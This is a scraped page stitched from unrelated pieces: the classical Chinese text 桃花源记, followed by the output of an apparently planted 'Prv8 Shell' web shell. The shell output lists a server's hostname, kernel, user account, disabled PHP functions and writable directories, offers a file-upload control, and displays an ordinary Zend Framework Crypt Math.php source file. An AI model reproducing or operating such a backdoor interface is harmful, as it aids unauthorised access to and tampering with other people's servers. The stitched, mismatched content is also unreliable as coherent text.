晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/include/Zend/Crypt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/include/Zend/Crypt/Math.php
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Crypt
 * @subpackage Math
 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: Math.php 24593 2012-01-05 20:35:02Z matthew $
 */

/**
 * @see Zend_Crypt_Math_BigInteger
 */
require_once 'Zend/Crypt/Math/BigInteger.php';

/**
 * @category   Zend
 * @package    Zend_Crypt
 * @copyright  Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Crypt_Math extends Zend_Crypt_Math_BigInteger
{

    /**
     * Generate a pseudorandom number within the given range.
     * Will attempt to read from a systems RNG if it exists or else utilises
     * a simple random character to maximum length process. Simplicity
     * is a factor better left for development...
     *
     * @param string|int $minimum
     * @param string|int $maximum
     * @return string
     */
    public function rand($minimum, $maximum)
    {
        if (file_exists('/dev/urandom')) {
            $frandom = fopen('/dev/urandom', 'r');
            if ($frandom !== false) {
                return fread($frandom, strlen($maximum) - 1);
            }
        }
        if (strlen($maximum) < 4) {
            return mt_rand($minimum, $maximum - 1);
        }
        $rand = '';
        $i2 = strlen($maximum) - 1;
        for ($i = 1;$i < $i2;$i++) {
            $rand .= mt_rand(0,9);
        }
        $rand .= mt_rand(0,9);
        return $rand;
    }

    /**
     * Get the big endian two's complement of a given big integer in
     * binary notation
     *
     * @param string $long
     * @return string
     */
    public function btwoc($long) {
        if (ord($long[0]) > 127) {
            return "\x00" . $long;
        }
        return $long;
    }

    /**
     * Translate a binary form into a big integer string
     *
     * @param string $binary
     * @return string
     */
    public function fromBinary($binary) {
        return $this->_math->binaryToInteger($binary);
    }

    /**
     * Translate a big integer string into a binary form
     *
     * @param string $integer
     * @return string
     */
    public function toBinary($integer)
    {
        return $this->_math->integerToBinary($integer);
    }

}

haha - 2025